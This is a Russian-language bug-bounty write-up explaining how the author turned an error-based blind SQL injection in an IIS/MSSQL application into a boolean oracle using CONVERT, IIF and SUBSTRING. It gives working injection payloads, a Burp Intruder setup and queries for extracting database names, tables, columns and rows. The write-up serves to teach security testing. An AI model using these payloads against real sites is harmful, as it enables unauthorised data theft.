Превращение Error Based Blind SQL-инъекции в Boolean Based для эксплуатации

Превращение Error Based Blind SQL-инъекции в Boolean Based для эксплуатации

Этичный Хакер

Недавно я охотился на многообещающую цель и из моих правильно настроенных (проверяющих только SQLi) результатов активного сканирования я обнаружил, что параметр name может быть уязвим для SQL-инъекции:

name=' -> Перенаправляет на страницу /Error.aspx
name='' -> Перенаправляет на страницу /AccessDenied.aspx

В рамках дальнейшего ручного анализа я заметил:

name=''' -> Перенаправляет на страницу /Error.aspx
name='''' -> Перенаправляет на страницу /AccessDenied.aspx
name=''''' -> Перенаправляет на страницу /Error.aspx
name='''''' -> Перенаправляет на страницу /AccessDenied.aspx

Это означает, что вставка одинарных кавычек в единственном числе приводит к нарушению SQL-запроса на серверной стороне, а вставка парных кавычек не нарушает запрос. Выглядит весьма многообещающе!

Тем не менее, мои дальнейшие тесты как с помощью sqlmap, так и ручного фаззинга с помощью Burp Intruder и списка полезной нагрузки приводили на страницу Error.aspx, что означает, что все простые полезные нагрузки, такие как ' AND '1'='1 или ';WAITFOR DELAY '0:0:5'-- были либо не пригодными для использования, либо их было трудно эксплуатировать.

Поскольку приложение работало на сервере IIS и имело расширения «.aspx», я подумал, что серверной системой управления базой данных может быть Microsoft SQL Server, поскольку большинство компаний, использующих эти технологии, также используют MSSQL (это не необходимость, а обычное поведение.) Я вернулся, прочитал свои старые принятые репорты об инъекциях в MSSQL и нашел различные полезные нагрузки, с которыми можно поиграть. Я подумал, что, поскольку одинарные кавычки возвращают ошибки и исправляют ошибку, то это могла бы быть SQL-инъекция на основе ошибок. Но поскольку страница не возвращала ошибок с подробным описанием, будет ли это слепая SQL-инъекция на основе ошибок?

Для тех, кто не знает, полезная нагрузка '+convert(int,db_name())+' возвращает db_name с ошибкой, если параметр уязвим для SQLi на основе ошибок в СУБД MSSQL. Полезная нагрузка пытается преобразовать db_name в целое число, но, поскольку имя базы данных является строкой, то это невозможно выполнить, и запрос возвращает ошибку в имени базы данных. В Google можно найти множество примеров.

Я начал играть с этой полезной нагрузкой:

'+convert(int,db_name())+' -> Перенаправление на страницу /Error.aspx 
'+convert(char,db_name())+' -> Перенаправление на страницу /AccessDenied.aspx

Таким образом, после отправки char, вместо int, приложение переходило на страницу на AccessDenied, что было идеально в моем состоянии, так как запрос выполняется успешно. Но как насчет сбора данных?

В то время как некоторые из программ ограничивают / запрещают сбор данных с помощью уязвимостей SQL-инъекций, Synack, напротив, поощряет это для полных выплат. Поэтому я пробовал разные способы сбора данных. Методы внешней эксплуатации не сработали, поскольку, вероятно, доступ в Интернет на веб-сервере ограничен. Также было ограничение для параметра в 100 символов, которое мешало выполнять длинные запросы. Итак, как-то мне нужно было превратить этот запрос в логический или основанный на времени ответа сервера.

В ходе дальнейших исследований я выяснил, что у MSSQL есть IIF функциональность, которую можно использовать как SELECT IIF(1>2,"YES","NO"). Если первое утверждение 1>2 истинно, то оно возвращает первое значение, которое в данном случае - «YES»; а если ложно, то возвращает второе значение. Итак, я подумал, что использую это внутри функции преобразования, чтобы сделать логический оператор!

Что касается преобразования типов данных, у меня было много проблем, которые я не понимал вслепую, и я также немного поленился настроить свой собственный сервер MSSQL в тот момент. ( SQLFiddle хорошо работает в таких случаях, но в тот момент приложение тоже было недоступно). Итак, немного поигравшись, я пришел к полезной нагрузке:

'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Перенаправление на /AccessDenied.aspx

Этот запрос работал так:

  • Подстрока имени базы данных проверяется посимвольно, начиная с 1-го символа с длиной 1 и сравнивается с символом 'A'.
  • Если этот символ равен «А», он возвращает 3 как целое число.
  • Преобразование «3» как целого числа в char выполняется успешно и возвращается без ошибок, что означает, что запрос верен.
  • Если символ не равен «A», он возвращает @@VERSION как функциональность T-SQL.
  • Преобразование @@VERSION в char не удается и возвращает ошибку (страница Error.aspx), что означает, что запрос неверен!
  • Итак, запустим Burp Intruder и выберем тип атаки «Кластерная бомба» с полезной нагрузкой:

С набором полезной нагрузки №1 в виде чисел от 1 до 10 (числа с длиной DB_NAME):

И № 2 (символы от A до Z, 0–9 и некоторые специальные символы, такие как «_»):

Выводим ответы с /AccessDenied в заголовке

Я успешно собрал текущее имя базы данных:

Некоторые другие полезные нагрузки, которые могут работать для дополнительного дампа данных при ручной эксплуатации инъекции в MSSQL:

Основной запрос для Blind Error Based SQL инъекции:

'%2bconvert(char,(SELECT IIF(SUBSTRING((***query_here***),1,1)='d',3,@@VERSION)))%2b'

Возвращает текущее имя базы данных:

select db_name()

Возвращает имя хоста

select host_name()

возвращает первую таблицу из Information Schema

select top 1 table_name from INFORMATION_SCHEMA.tables

Возвращает первый столбец из Information Schema

select top 1 column_name from INFORMATION_SCHEMA.columns

Возвращает данные второй строки из выбранного столбца / таблицы.

select ***column_name*** from ***table_name*** ORDER BY ***column_name*** OFFSET 2 ROW FETCH FIRST 1 ROW ONLY

Надеюсь, вам понравилось читать! На этом все. Благодарю за просмотр!


Report Page